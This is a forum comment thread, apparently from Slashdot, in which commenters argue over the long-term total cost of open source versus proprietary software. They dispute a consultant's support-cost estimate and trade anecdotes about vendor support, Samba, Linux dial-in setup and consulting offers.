(The OpenSource may not be cheaper initially, but has an upper limit on costs - Tell me what you are looking at and I can probably arrange support - either over a term or per-incident).
That's the most ridiculous thing I've ever heard. If anything, the reality is reversed. Mozilla has some of the best features that MOST browser customers value. Pop-up blocking and tabbed browsing. Last time I checked IE didn't do those things. In tinkering with Linux, many of the tools have some fabulous features that I always wished Windows had. Like switching dekstops within X. Money! If I have suggestions about a new version, I fire off a politely worded e-mail to the developers. Perhaps they read it; maybe they don't. My e-mail to MS goes right in the circular file...
Even Steve Ballmer says that Microsoft can't compete with the total cost of ownership of Linux.
n ews.asp?ArticleID=36355
From http://www.varbusiness.com/sections/News/breaking
"One issue we have now, a unique competitor, is Linux. We haven't figured out how to be lower priced than Linux. For us as a company, we're going through a whole new world of thinking."
If Microsoft can't undercut the cost of Free Software, how in the world would anybody else be able to? It seems to me like somebody bought the FUD campaign.
I suppose I'm not surprised that the OSS solution was not appropriate to your needs. OSS can only solve so many problems. Any time custom engineering is required, things get expensive quickly. If there is a commercial software package that already does what you need to do, and there's no single OSS solution that does every thing as you need it, the likely case is that the OSS will cost much more to use over time. IF this were not true, there would be no more closed source software companies.
Open source software is software like software developed under any sort of model, and it is true for all software that good software does not necessarily make for a good product. Documentation, support, longevity are things to be considered when making any software decision.
Look at the Open source software that is being widely deployed in the server industry: it is long-lived, tried, and tested stuff. It is the sort of open source software that IBM is willing to stand behind, and sell a support contract for. This is the sort of support you can by. IBM (and the like) will sell you support for the open source software that they think is robust enough for them to support.
I doubt very much there is much of a market for someone to sell wide-reaching OSS support. Support services are very expensive operations to run, and the profit margins are not tremendously high. The only way to make much money at it is to have a very small niche, in which there are few things to go wrong, and a small team of engineers can handle all of the support calls, or to do it on a very large scale, and profit by selling huge contracts. Otherwise the capital needed to develop procedures, expertiece, and to keep around a capable staff just don't pay off in the end.
OSS is no magic bullet. There's some open source software I'd deploy in the field, but a whole lot that I tinker with and wouldn't dare install on a critical server.
Be sure to factor in any additional costs of using a proprietary package. For example, you don't want this one package to hold you back from switching to Linux on all desktops and servers, assuming all other needs are met. Any OS / server license costs that wouldn't be needed with the Open Source solution must be included in the cost of the proprietary one.
That being said, why not contract a brilliant but currently unemployed geek (lots of them out there these days!) to help you deploy the Open Source solution. Have them make any customizations or improvements needed to make the Open Source solution fit your organization like a glove. Perhaps they can even help with the training or at least preparing training manuals for the staff. And if needed, keep them on retainer to provide support services in the future. As long as you're not paying this person more than you'd spend on proprietary licenses, you're budget is still in the black and you're getting a superior solution with no obnoxious vendor ties.
Basically, what you have shown is that in a small organization it doesn't make sense to have some one whose job is to support software unless you can fill that person's time with stuff. Instead a support contract allows you to purchase a portion of a person's time. And, it becomes the commercial entities job to figure out how much support they have to provide, and to hire the appropriate number of people to support the entire group of customers, not just a single installation. Plus, by having mor ethan one person that commercial entity is not impacted by a single person departing as badly.
Don
A number of posts here have attacked the 10% of an FTE figure I used. These posts basically break down into "4 hours a week just to read a mailing list, that is so ridiculous!" and the more informed "You would still have to patch and update a commercial product, what about that?"
To the first I answer that it isn't 4 hours a week to read a mailing list. It also includes time to come up to speed with the product, with the tools the product uses (like 'make' and GCC which are not used in the shop) and with the programming language the product is written in (also not used in the shop).
These are not one-time costs because, as I pointed out, they do have employee turnover and it is usually the 'best and brightest' -- who would likely be the ones doing doing the support. So any one year it might be 25% of an FTE or 5%. Also I figured most of this effort was just so they could ask the right questions on the mailing list and not get a 'RTFM' in response. Sure I just took a SWAG and used 10%, but it was a figure my customers felt comfortable with.
Remember, I am a consultant. I assist my customers in making descisions, I don't make the descisions for them. If they prefer to err on the high side of something they are not sure about they are in the right to do so.
As to administration costs, sure they exist in commercial products. And I had a separate line item for that! The problem is that, even when I set the admin costs the same for both, the long-run effects of the support costs proved surprisingly high.
Note that making them the same may not have been entirely honest because the Open Source product would likely have had higher admin costs than a more 'polished' vendor supported product.
Jack William Bell
- -
Are you an SF Fan? Are you a Tru-Fan?
Sorry buddy, Mac OS 9.2 /is/ supported, along with all versions of OS X (except Beta, which was never supported).
Your point is still somewhat valid. Though if you can buy a 10 year contract for the product, it will be supported for the length of the contract.
The best suggestion I have seen is to bid for a contract on the tech mailing list. I have seen it done with very good results.
Lies about crimes
What does this have to do with "first post french toast"? Or are you just making a sad attempt to get your comment read first?
Over the course of a lifetime.. I don't see how propriotary software could be cheaper than Free/OSS. It's like the difference between buying the house and renting the house.
Now it could be that in certian instances, proprietary software could be cheaper in the short run. But the wonderful thing about Free/OSS is that once you build that infractructure... it's there, you don't have to keep paying for it.
In terms of support, I see two main issues as affecting the cost of support.
A) The prevelance of the software.
B) The level of competition between support houses.
Now if a propriotary product is far more prevelant than a Free one, The support may be cheaper. On the other hand, if the prevelance of 2 software packages is about equal, Free/OSS support should be cheaper since you have more choice in where you get your support.
Envision the following scenario: We are trying to decide between the freefoo and payfoo software packages. Freefoo is a barebones package. It can do what you want, but is a bit difficult and costly to set up. Payfoo on the other hand is a featureful peice of software that more than meets your needs at present. Payfoo's support is also cheaper. Seems like the obvious choice is to go with Payfoo right? But software is a dynamic product. In time, Freefoo will probably improve, become more prevelant and better supported. If you're paying someone for support, say someone who contributes code to FreeFoo for support, This improvement is only going to happen faster. This has already happened with Commercial UNIX versus Free alternatives. I believe it's just a matter of time for it to happen with other software as well.
-- Knowledge shared is power lost. -- Aleister Crowley
A common practice I've seen is the fear of going opensource because if something breaks they have nobody to blaim.
:)
If win2k dies and formats your HD for no reason, you can at least call up support.. and bitch.
And tell your boss MS did it.
If your linux machine explodes, the guy who installed it (or decided to go with linux in the first place) gets the blaim.
blaim takes precedent over cost
--noodles
What apps can't you get support for? They're probably minor ones.
For all of the major apps, you can purchase support at competitive prices, which is much better than the built-in monopoly support you get when you buy proprietary software.
If you don't have support for a particular piece of software with which you need help, you can hire a guro at competitive prices. Again, cheaper than the monopolistic support you get with proprietary products.
You are charged for support for proprietary products. Its either built into the cost of the software, or you pay extra for it and its built into the cost of the software. The money it takes to hire techs doesn't come out of thin air. Either you're paying for it somehow, or the company is subsidizing it with another revenue source. I.e., a software company subsiziding support for a minor product from revenues from a major killer app. Either way, you're paying. And you're paying in what is effectively a monopolistic market, since no one other than the company can provide adequate support for products, as you need the source code and familiarity with it to offer acceptable support.
With OSS and FS software, you get support at competitive rates, not monopolistic rates. Overall, its cheaper. You're also likely to get better support, as these guys aren't bound by idiotic "return to the default before you proceed" mandates. Have you ever called up MS for support on Windows? Here's how it goes:
"Oh, you're having problems with X...what did you install last? Ok, uninstall it. Still doesn't work, ok, do A, B, C, D, E, F, G. Still doesn't work? Well, our agreement states that that's all I can do for you. The only thing I can do for you now is have you uninstall the entire program and reinstall it. You'll have to download updates over again. Oh, you reinstalled it and it still doesn't work? Well, I'm not authorized to help you any further. The only thing I can do is guide you through reinstalling your operating system, since there must be somthing wrong with it."
This is the kind of crap support you get from proprietary vendors. Whenever I've called up a proprietary software vendor or an OEM for support, I've never gotten anything that I didn't already know...they just read from instruction books. If, on the other hand, you pay for support in a compeitive market, you get it firstly at a better price. Secondly, you also get better support, as no one could get away with doing that crap. In other words, you get a real software problem solver (guru), not someone who flunked out of Computer Science and is now doing a job which is the computational equivalent of "do you want fries with that?"
Also, when considering the cost of proprietary software, you should also consider the costs of intellectual property problems, and dealing with the BSA. If the BSA even accuses you of something, you're going to lose millions trying to defend against that accusation. It'll cost you alot of money to try to be compliant with BSA standards. And it'll cost you many millions more if you have to reach an agreement with the BSA for compensation because you misplaced some paperwork.
social sciences can never use experience to verify their statemen
Yes, it's more expensive to support a custom application rather than one that is generic in function...
A lot of small companies run system administration support... If you need continuing support contact one of them... For instance my company will do it for a modest monthly maintenance fee and bill for the actually hours worked.
But you'll still be paying around 4000 a year, maybe 1800 if you have no problems during the year.
It's better to go to someone that specializes in exaclty the type of product you need usually.
Personally, the only reason I avoid proprietary software is licensing issues... Far better to buy the best product and service. Not use open-source unless it fits the need.
Anyway, that being that... You should check out google's search engine... It's a 1U unit you throw on a network and it does pretty much everything necessary... Support costs should be low since that's their main business.
IE, proprietary, but the company is ethical... Contrary to other search engines that require payment for links..
If you still want to go with an open source project feel free to give my company a call and we'll see what we can do for you... But remember that open source isn't always the best solution.
/* TODO: Spawn child process, interest child in technology, have child write a new sig */
1 Supplier longevity isn't the only issue: few to no commercial software vendors support older versions of software for more than a few years. Look at each vendor's history for dropping support on older versions.
2 instead of spending on support, they're spending on tech-employee turnover - keep your knowledegable people and foster an environment of idea sharing and documentation. That will seve you wether you're using open source or not.
3 support costs for open source systems is probably harder to estimate then most people think. Many open source software applications have infrastructure level quality and often run in the background, unnoticed until something changes about the external environment. Of course software that's forgotten about for a few years will be hard to remember how to use/configure/fix, but that isn't specific to open source, and leads back into the previous comment...
What do you value? The ability to sit on hold only to not have your problem solved or to be told that the 'work-around' is to reboot? Or the ability to actually be able to dig into the code and change something if you really and truly need it to work?
I'm just jaded on the value of support, it seems like you end up figuring out/fixing/working around anything with your own staff *anyway*, so you might as well give them something they can work on if they have to.
is competition good, or is duplication of effort bad?
I grabbed this link from the individual who submitted this story. A very pro-Microsoft stance in regards to the Anti-Trust case.
h .h tml
t p
http://www.sff.net/people/jackb/openletter2hatc
Here is his homepage:
http://www.sff.net/people/jackb/home.h
This quote is from his rant page, would you say he has a biased view?
_quote_
Not that I am a Microsoft defender mind you. I worked there for two and half years (as a contractor) and have seen the place from the inside.
_qoute_
just my 3 cents.
Hire someone to write the feature you want ...
In the commerical software world, you cannot use the same product for 10 years. You will purchase upgrades, and you will purchase new hardware to run those upgrades if you want support. Why? Because any company that doesn't make you do that will be bankrupt in 10 years.
:)
I know a bit of oil/shipping industry (no, I didn't work in the company, but had a fairly serious project with them), and they were supporting at least two generations behind the current OS, which is WinNT (though they were also adding 2k/XP due to customer interest). And if you ask what was before NT, and before that again, you're talking ancient history. Customers expect support for the entire lifetime, and they get it. And this is a very successful company in growth, nowhere near bankrupcy...
Then again, this doesn't sound that serious, so should be replacable. But don't make too broad generalizations
Kjella
Live today, because you never know what tomorrow brings
On a bunch of things. A small company that turns a good profit can get away with paying high salaries for a few experts, inversely, this may not work in a large company that is not tightly incorporated. It can work in a large company, but often it does not because of politics. Most of the time, what one ends up with is a mix. Some open source here, some proprietary there, and our favorite, a strange mix. I would venture to say that a small company that can handle paying high salaries can grow well using open source, but simply dropping it on a large one could prove extraordinarily costly. IMO the best approach is gradual integration of open source (or any technology someone thinks is beneficial).
Lets look at this from the prospective of trying to foster further commercial
acceptance of OSS. As it currently stands, there is NO way to ensure that
some one is competent to support OSS. MS has the MCSE certification,
novell has its program, and so does Sun (and many others). But there is
not any such beast for OSS.
Now, ignore for a minute the political issues that this brings up within the
OSS community, how hard would it be for an OSS group to put together a core
certification process, and then allow the different OSS projects to build there
own add on module for certification in that project on top of the core
certification?
This would go a long way in making it easier for OSS to be accepted in
commercial settings, as support would no longer be an issue, just a matter of requiring
a specific certification be held by the support tech they hire.
Oh man, you win! Front page troll is KEY.
Number one of the company that give you the product dies you are in the same boat but even more trouble.
Number two companys could have a staff member providing support on a pay for help base. Ie sell you investment off to other companys using the same software.
Basicly redhat lives providing support to a lot of software. Other company like that sell support. The big problem is that opensource project and support companys really don't work together.
The opensource project is more likely to point you to there mailing list than to a comerical company. As this way they get access to your problems so they can fix the program so others don't have trouble. With out the program name I could not tell if this person just did not look deep enought.
As with all software and hardware homework and more homework.
Search engines tend not to make good standalone apps / components. They are very intimately tied to the data and the indexing scheme you use, especially if they are large / customizable. Looking for a standalone search engine is like looking for a standalone GUI - they exist, but more commonly are developed as part of a larger project.
The main risk I have seen in using closed-source search engines is that your data gets trapped in a format or taxonomy that you can never alter. For example you might find you need Unicode support, or phrase matching, or support for PDFs, etc. etc. etc. At least with an open source program you have some options.
A customer service representative will be with me shortly.
I work as an IT consultant and have worked extensively on both proprietary and Open Source software solutions. I have found in most cases OSS beats proprietary on costs hands down.
I believe the original poster makes some incorrect assumptions.
1) It is simply not the case that you will get anywhere close to 10 years support from a vendor for a particular product.
Even enterprise level software vendors only support their software for a relatively short time span. Microsoft and Oracle are two examples of this. Neither of them support software for more than a few years and then expect that their customers upgrade to the latest version. Often at significant cost. Today 10 year lifespan for software is not realistic except for perhaps custom solutions. 5 years is even pushing it. This also assumes the company is still around. Vegas has better odds than that of a 10 year old IT product company making it.
After the 3 to 4 year typical window the customer will probably have tohandle all support issues themselves, or upgrade.
So while the poster assumes that costs will stay static for the commerical solution in fact they will go up over time. In addition the closed proprietary nature of the commercial solutions will often make migration that much more difficult and costly.
This speaks to one of the other major cost saving advantages to OSS, adherence to standards. Commerical software vendors will tend to make "proprietary" changes, or roll their own to lock in customers (AKA competitive advantage), or as a result of them just being too lazy to work with community.
2) Percentage of FTE and lack of additional costs to support commercial products. There seemed to be an idea that you can compare 1:1 the time to support the OSS solution to the money spent on commercial support. This is simply not realistic. You cannot assume that by paying vendor X $5000 dollars that you will not have any costs over an above this $5000 for supporting the system.
Someone at the customer still has to recognize the issue, call the vendor, wait on hold, submit their question, wait for an answer, apply the patch if one exists, or implement the work around. This all takes time which all costs money.
Not that the support process is that much different with OSS, except perhaps that the problems more often actually get fixed, rather than having to wait till service pack 12 that should address that problem, and allow you to discover the next one, which will be fixed in service pack 13. This happens all too often, and with products from major fortune 10 IT vendors with onsite support personnel. Comparable OS products simply do not have these issues for a variety of reasons too numerous to mention here.
3) I also question the 4 hours a week effort required to stay current with the OSS product. I manage multiple open source systems in addition to my consulting work and I expend less than 4 hours a month in supporting them. This includes adding new users, applying security patches, and fixes problems in the extremely rare case they occur.
Someone else posted that the advantage with open source is that you control your destiny. This is absolutely correct. You can install, support, change, upgrade and manage the system to your preference in a way that makes the most sense for your organization. Over the long run this will save you money as you can effectively plan you upgrade cycles around publicly available OSS information regarding new versions and features.
The original poster should perhaps modify their assumptions based on real world experience with OSS solutions and the actual support requirements. I think they would find that overall the costs are much less for many solutions.
A follow-up question might be a description of OSS successes and their ongoing support requirements.
Did you factor in the probability that, inside that 6-year timeframe, the vendor will stop making the product you bought, stop selling support for it and leave you with the choice of using a completely unsupported product or going through a probably disruptive and expensive upgrade process (new software requires a newer version of the OS which requires newer hardware, new software brings new bugs, "features" and interactions you now have to troubleshoot, etc.)? And if you know you want to stick with old software in that situation, do you really need an FTE for the open-source software after the first 3-4 years shake the glitches out of the system?
The proper response to RTFM would be for a group of people of who genuinely care about end-users having high quality documentation creating a new type of documentation license that mandates a minimum level of quality for modification of their documentation and bars distribution or linking to of bad documentation. For example, a license like this would ban any modification of the documentation that reduced the number of diagrams to less than three (i.e. converting the document to all-text is strictly prohibted). In addition to this, the license would bar distribution or linking to of HOW-TO's. If someone like Debian distributed all-text documents, they would be barred from linking to or distributing the high-quality documentation.
In essence, the license would be saying "We will place the RTFM'ing bastards on permanent lockout."
I call this license the "Anti User-Hostility Documentation License".
Ergonomica Auctorita Illico!
The way that REAL software companies protect themselves from a vendor out of business situation is source code escrow.
If my company goes under,and the new source owner can't provide support, our (smartest) licensees have
the right to take the source themselves to support themselves.
You obviously can't do this for every random product you depend on, but you CAN do it for products which are the lifeblood of your company, and no alternative exists.
I tried; nobody seemed interested. Instead of starving to death while people took the time to figure out that open source software is better, I decided to go and get a "real" job.
I'm now *almost* out of the debt I generated trying to start a business, and while I know it wasn't the market's fault ("Adapt or die!"), I can't help but feel a little bitter that so many people complain about the abysmal quality of Microsoft products and services, yet aren't willing to pay half the price for OSS support/training when it comes around.
What about a google search appliance?
One FTE can support 250K lines of code. Based on that, you can take a guess at relative cost of outside support vs doing support in-house. Then factor in the acquisition costs. Problem is that no vendor can give you a fixed price on a 10-year support contract that's worth a pitcher of warm anything. They'll be bankrupt, out-of-business, moved to a different continent, or mentally insane by then. If you are sure you need to support an app for ten years, you gotta pay the price of owning it end-to-end. If this functionality is important to you but not worth 0.1 FTE, then it's not important to you. Don't bother me with trivia. Ask us about something important, like how the new governor is gonna outsource your butts anyway.
At least for Symantec. When you buy a retail copy of Norton AV, you get updates for a year. That's it. If you want to continue getting signature updates, you need to pay again.
Technically you're right. You will still be able to run the software itself. It just won't be any use at all, since new virii pose the threats. Not year old ones, typically.
"Politicians are interested in people. Not that this is always a virtue. Fleas are interested in dogs." P.J. O'Rourke
I had a related thought about that $8000.00.
I really don't know the details of how that was arrived at, but is it legitimate to assume that 10% of this individual's time would be spent on the open source product, and 0% on the commercial product?
10% is a lot of time if you think about it, even for dealing with a project that you'd assume would cost 0% of their time for a commercial version.
My guess is that it could be more like 5% for the open-source version, and 0% for the commerical version, or 10% for the open source version and 5% for the commercial version.
Just because a product is commercial doesn't mean that there's 0 time spent on it. You still have to call support, explain the problem, explain it again, have the solution explained again and again, and then implement it. That's in addition to the time spent on it without calling support.
Even if my numbers aren't completely right, the idea is still important--especially when the margin is not huge.
Just a thought.
I agree that it is unreasonable to expect services for free. But that does not undermine the value proposition of the GPL.
One major problem with closed-source software vendors is that they get bought or go out of business. If you are a customer then generally you are stuck with a package of binaries that cannot be supported or upgraded. If your vendor was using open-source then you would have the option to pay someone else to maintain that code.
Another problem is getting new features added. If a closed-source vendor doesn't want to add your feature then that is tough luck for you. If your product is open-source then you can pay someone else or some other company to add the feature.
Open-source products give you more options because you are not tied to a particular vendor. At this time there aren't very many open-source vendors, but it seems like there is demand for commercially supported open-source software, and demand generates supply.
The full-page ad for this story (for me) is for Visual Studio .NET. Looks like OSDN has sold out to the closed-source people! Run for the hills!
Too late to be known as Bush the First, he's sure to be known as Bush the Worst.
When investigating support options for OSS most people don't bother looking at what exactly the support options are for commercial software. Sure, there is a company there to provide support but *what kind* of support are they offering, *how long* will they continue to do it without requiring a mandatory update, and what happens if the company goes under or decides to discontinue the product.
This seems a worthy goal, though I'd venture a guess that its maybe slightly simpler than the ever elusive goal of quantifying software quality, and a bit harder than the ever popular software complexity metric. Finally, there are times when documentation of even the most excellent quality just can't do the job that a quick call/email to a real support person can do. Just another variation on the "automate" people out of jobs goal of business that has been around a long time, far longer than computers. I think you'll find little success, and thus the need of business to hire trained experts rather than just anyone off the street.
Officially, I am only allowed to run MacOS 7.1. That is, if you consider a second hand CD that came with the second hand Mac a legal source of software.
:-)
I actually run 9.1 -- well, to boot up Debian. From there, everything is Free. I get my Internet programs for Free, my updates for Free -- hell, I even screw up my own computer for Free. And get to repair it for Free.
Imagine me having a working Windows PC. I would have to buy all those expensive and boring 3D games just to entertain myself instead
Yeah, I know it's different for businesses. But why does that damned Ballmer always seem to think that businesses are all that important anyway?
Uh, wait, that should be because students never spend money on software anyway. Oh, well...
Still, getting serious again and all, it completely depends on your business' focus. If I'd start up a company (which I did), I'd use Debian for some of the company's stuff (which I didn't because we don't have, and don't need, any corporate computers). Yet, if I had to leave the maintenance to a third party, I would not force them to use something they are not all that familiar with.
"We can confirm that Debian does *not* ship the version with the trojan horse. Our version predates it." [CA-2002-28]
Source code includes all the information about what the program will do, but not always in the best form for humans to understand. Depending on the quality of the comments it may not include any information on design or requirements. Thus you may not be able to tell the difference between bugs and features if you only have the source.
Er, well. Ok, yes, it's kinda rude, but it's also a reasonable expectation that you've read the manual and tried basic troubleshooting ("Is the monitor plugged in, Mrs. Jones?"). Remember, support contracts exist to save your ass when you've broken it and, though you've tried, you can't fix it. Not to hold your hand as you plug in the power on the disk array, replace the fibre-channel fiber patch that security cut with a pair of hedge clippers, or replace a smoking powersupply.
"To err is human, to forgive is simply not my policy." --root
Well, for one thing, the assumption is made that commercial vendors provide support willingly that is useful. I think in many cases (especially with technologies that are hard to change out of), vendors will take every opportunity they can to hang a customer out to dry. Often, the lifetime for support for software is very very shortlived, forcing upgrades. In other cases, the 'support' provided is little more than extortion. One product demanded my company pay a 300 dollar for one incident before they would even accept a bug report. Not even a request for help, but a one-way information exchange that enhances future products. In some cases (with the really high dollar packages), the software, while expensive, is little more than opening the door to huge consulting fees. One company I worked with sells software for about 750,000 dollars per site. On average, they said they pulled in more per site in consulting fees than the original purchase price of the software. This is an extreme example, but exemplifies that commercial products do not necessarily mean good support is available at reasonable costs.
A previous employer was using a commercial SMB provider for Solaris, rather than Samba. The product was licensed on a monthly fee and only allowed 3 connections on our license. This was not cheap and extremely annoying. I suggested a move to Samba to cut costs and get more functionality, and was denied. The reason given was that the package gave support. One day, a number of Windows systems could no longer connect. For the first time ever, we had a reason to contact support. I was on the phone, being passed from one person to the next, no person having any clue as to the problem. Finally, while on hold, I did a search through the samba mailing list and found out the cause of the problem and how to work around it client side. I then hung up, told management about my experience, and next week samba was in use and the licenses cancelled.
The fact is, if you have a decently strong IT department with some programming knowledge anyway, they can frequently, with the help of forums, mailing lists, and IRC, provide just as good or better support than the commercial vendors and fix problems as needed without the turnaround of commercial vendors. Maybe for smaller shops that deal with less expensive software, or with software that has rare support needs, but not a complete absence of a need, commercial can win. But for *any* software company, and medium to large other companies that need good IT anyway, open source is hard to beat..
XML is like violence. If it doesn't solve the problem, use more.
I remember seeing a recent article referenced here that says that Amazon Books attributes its newly-found semi-profitability to its decision to go Open Source.
So, while this article may get hundreds of yelling and screaming "point of fact" replies, it seems that many companies have tried OSS software (or at least costed it) and have come to the same conclusions--in the long run, it's at least as expensive as commercial equivalents.
Let's see some names here. WHO has tried and failed with Open Source software? Or did TCO and backed off. You anticipate people asking you for "point of fact" replies. Is there something immoral about asking "point of fact" questions? I don't think embarrassing either you or your employer is immoral.
If you have a problem with "point of fact" questions, why didn't you provide some facts to anticipate these questions? Is it that you don't have any facts? Ever heard of Google? If you can't provide any facts, why should we respect either you or your opinion?
You can even cite yourself as an example of Open Source failure if you like. I'm sure we'd believe you if you told us that a command line is just too hard for you. And I'd reply that perhaps if you offer IBM enough money, or a lesser sum to some of the individual training consultants around here, perhaps someone can be found with the patience to teach you Linux. It might even be cheaper for you to do this than to buy your next computer upgrade to support XP or its successor, though I can't guarantee this.
Organizations who have gone/are going Open Source? Home Depot. Burlington Coat Factory. The government of Spain. Police departments in portions of the UK, and the consultant firm rolling out those desktops and servers has just gotten a contract from the EC to write a proposal to roll out Linux for EC governments. The people running those organizations don't seem to agree with you.
With respect to support, ever heard of IBM? They do a lot of commercial Linux support.
Whether or not an organization should go with Open Source depends on circumstances very specific to that organization. Your statements about Open Source are no more useful than the ones that say everyone needs to use it.
With respect to software usability, depends on what software is available, what the software is used for and who will be using it.
However, I am comfortable in saying that Open Source is improving in usability, ease of installation, and ease of maintenance rapidly, and as it does, it will become useful to a wider range of individuals and organizations. At the same time, it is NOT increasing rapidly with respect to required workstation resources.
Can you say the same about Micro$hit?
Tech Public Policy stuff
in some situations. Nothing is one size fits all unless it's made out of spandex, and even then some people would disagree. And of course, just because it fits doesn't mean you should wear it.
It may be that in the long, long run, commercial apps are cheaper... but then, that assumes you will stick with the same app and vendor year after year; it assumes that the vendor stays and the current pricing model stays. In the long term, we can see that that almost never happens.
Vendors change; policies change; products are discontinued for one reason or another, or are only supported at an inflated cost.
At least if it's open you have an element of control over where things are going.
DIY != 10 year support contract
When the commercial vendor supplies you with a quote for support, does that include access to the source code if their company folds and you get the crappy end of bankruptcy? Are they even promising to support you for 10 years? Will your change-management requirements down the road be dictated by the contract you sign with them?
You need to be VERY careful to account for ALL the hidden costs on BOTH SIDES. For examples, look for studies that compare outsourcing to in-house development. Once you discount the costs of coming up with the architectural components, you still have to pay someone to configure, install, support, and maintain the product.
If you throw in "community involvement" like hosting a CVS server, you can get significant (but unknowable) contributions toward the general maturity of the product for FREE. Represent this as a risk of not getting free development work in your cost model, and the chance of getting any work for free on the commercial product is equally possible to the free software, but it is probablistically insignificant.
The vendor is going to take profit from any savings that might be realized from reusing your solution in another governmental unit. Go looking for a way to share the support costs in others' budgets! Basically, you *give* them what you have, so long as they agree to mirror the CVS server on their own hardware, and allow you to merge changes into your tree from theirs. Eventually (in maintenance phase) you will probably want to merge both projects and just have monthly conference calls about any commits/contributed patches.
Now, are you treating your free software solution as free-as-in-beer or free-as-in-freedom? You have to understand how the commercial software vendors make money and use those techniques (wherever you can) to get savings on your own!
--- Nothing clever here: move along now...
what they do is sell you that large, expensive software, and then have huge yearly support fees that include upgrades.
IF you decide to stick with what you 'own' and not pay anymore, you get no support, no new drivers, no bugfixes, and no upgrades.
...a recitation of the man page index is be sung to the tune of "Born Free"
come on fhqwhgads
I've been involved with software support issues for decades. Reporting problems to vendors and getting fixes involves a substantial amount of time, even with a good vendor. If you're dealing with a typical vendor, it gets a lot worse.
In addition to the cost issue, there are problems in two other areas: quality of support and duration of support. I've found the support of much free software and much shareware to be as good or better than the support of shrink-wrap software. Further, even if you currently have good support, there is no guaranty that it will continue for a decade. If you have the source code, you can still fix problems even if the developer can't or won't.
This google cache of a CNET article reports Microsoft's announcement at Comdex Las Vegas in late 2000 -- http://216.239.33.100/search?q=cache:ExV6WkFXuR0C: news.com.com/2100-1001-248527.html%3Ftag%3Dbplst+m icrosoft+office+service+cnet&hl=en&ie=UTF- 8
What Microsoft hasn't done (to my knowledge) is only sell timed licenses to a product. There are vendors that do that in vertical markets, however.
Word had the capablity of saving as .txt from day one, and nobody uses it.
.rtf file" option is superior.
That's because the "Save as
-Terralthra...
Simple project: hook up a couple dial-in lines to a computer so the employees can have free internet access. We wasted over 60 man-hours reading through obsolete How-Tos and FAQs, asking for help and getting flamed off BBSes, the blatant lies in the various man pages... Linux cannot do dial-in PPP. Period. We installed WinXP on the box and got the dial-ins working in less than 4 hours. It works. It was painless, the configuration was straightforward, and we've moved on to other things. Don't flame me for the failings of Open Source software, it ain't my fault agetty -l won't really run anything other than /bin/login, and it ain't my fault that /AutoPPP/ in mgetty doesn't work when compiled with -DAUTO_PPP, and it ain't my fault the How-Tos are hopelessly out of date (the How-To with the distro is dated '97, the FreeBSD PPP server page talks about using the new 2.0.5 release). Digging for what should be readily available information and finding only obsolete and incorrect documentation is too damned expensive. RTFM is not a valid response when the fucking manual is wrong. What really sucks for the Open Source movement is that WindozeXP is looking pretty stable. Couple that with the ability to actually call and talk to live humans in the area and get knowledgable support, I may move all the servers to it. And if there isn't soon some sanity in firewalling, (ipfwadm rulz, no, ipchains rulz, no, it sux, use iptables) that box will move to the dark side too.
You did not mention licensing costs for the commercail versions. More than likely the closed source versions run only on MS. That adds another side to the cost factor you did not consider.
Not to mention forced upgrades of the MS OS/search engine. And as most know, each incarnation of Win(whatever) almost always will require more powerfull hardware. Which is something else you did not mention. With open source (Linux) you have way more flexibility in the choice of hardware you want to use.
Over all I find your analysis incomplete and one sided.
My karma is not a Chameleon.
12 months old?
I see they start early these days.
OSs, compilers, languages etc.... are simply tools. Use the best tool or combination of tools for what you need to do.
"Not knowing when the dawn will come, I open every door." - Emily Dickinson
Sometimes going with a closed source vendor can work out great--the last company I worked for bought a proprietary library. We found that their WinNT port was very buggy, so we sent two developers down to their labs and they worked through the source code until they had a fix. Then the vendor gave us a discount because we helped them out.
Othertimes, it doesn't work out so well. Back in 1997 I worked for a company which used a third party, closed source library to decode maps. The vendor stopped supporting the libraries (in fact, I think they went out of business), and we couldn't port our software from Win16 to Win32. It was a real road block. Had we used an open source library, we could have ported the code ourselves.
Presently, I'm working for a company which is using an open source component. We have spent a lot of time debugging the component, since the author no longer supports it. I'm sure we have spent way more than we would have if we had bought a closed source component, but our OS component happens to behave in a way we need and has functionality we couldn't find in other off-the-shelf products.
The long and short of it? Going open source offers flexibility but also may cost you more in development time. The nice thing, though, is that you have access to the code and you can make changes and make ports if necessary.
contact http://www.avaquest.com. They're very experienced and know what they're doing.
See title... It depends on the situation and the tool. And you dont really know unless you buy, install, deploy, and execute both options.
In your example, the commercial support would still require capacity from your IT staff. Even if it were just for explaining what is wrong and convincing that it is their fault and not yours or somebody elses and telling them to fix it. Commercial support does not mean zero effort on your side.
Cost calculations can be done in many different ways (economics 101). Each of them is wrong, but some more than others. That is why determining the cheapest way to do things is very hard.
There are other things at stake too: what if the company folds or sunsets the product? What if the support is not what they promised? What if they blame your urgent problem on you or a third party? What if they say they can't find the solution and want to give you a refund of that steeply discounted support contract?
With open source, there are ways out for each of those situations. With closed source sometimes too, but not always and often they are very costly.
In the end, not only cashflow but also features, reliability and availability are often 'veto'-level factors for deciding between different options anyway. That is independent from which product is open source or not. Whether or not it is open source can only influence those factors, but in itself is not a deciding factor. Weigh the factors and decide never choose blindly or say things like 'open source is more expensive in the long run' or the contra, because it depends...
--- Hindsight is 20/20, but walking backwards is not the answer.
You need to use OSS that in fact IS supported as OSS. If you take a piece of OSS and ignore whatever the fuck is going on in the real world then it will in fact cost more to support. But if you use a piece of 'common' OSS that is generally recognized as supportable then it will be cheaper.
The other critical success factor is your patch strategy. If you, because it is OSS simply run out and churn through every patch that is available then you are wasting your time and money because vendors don't do this to their SW either. YOU REALLY to implement change management/version control.
There are "load" and "no load" funds. The "load" funds have a percentage charge (like a sales commission) that you pay when you buy or sell. The "no load" funds have no such charge. The people who sell "load" funds will tell you that their product outperforms the "no load" funds, even after the charges are paid. The "no load" fund people would disagree. In reality, the "load" fund might outperform the "no load", but it will have to overcome the effect of the "load" in order to do so.
Can commercial software beat Open Source on TCO? Only if it can somehow beat the built-in disadvantage of license fees. It's possible, but I'm highly skeptical. The software industry is well-known for excessive salesmanship, bogus comparisons, and "vaporware".
Open source is the clear winner where I work because our capital appropriation process is such that we can't buy much of anything without thousands of dollars worth of discussion and paperwork.
"Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. "
Where are these $80,000 full-time jobs working with open source software support? I've never made close to that. The one person I know personally (granted, I don't live somewhere it costs $40K to rent an apartment) who's made that kind of cheese did it working on some proprietary stuff. Nobody I know is required to support "the universe of open source software". We support a list like apache+mysql+proftpd+qmail or so. Other stuff is supported on an as-needed basis, but I'm not an expert in more than three or four of these products.
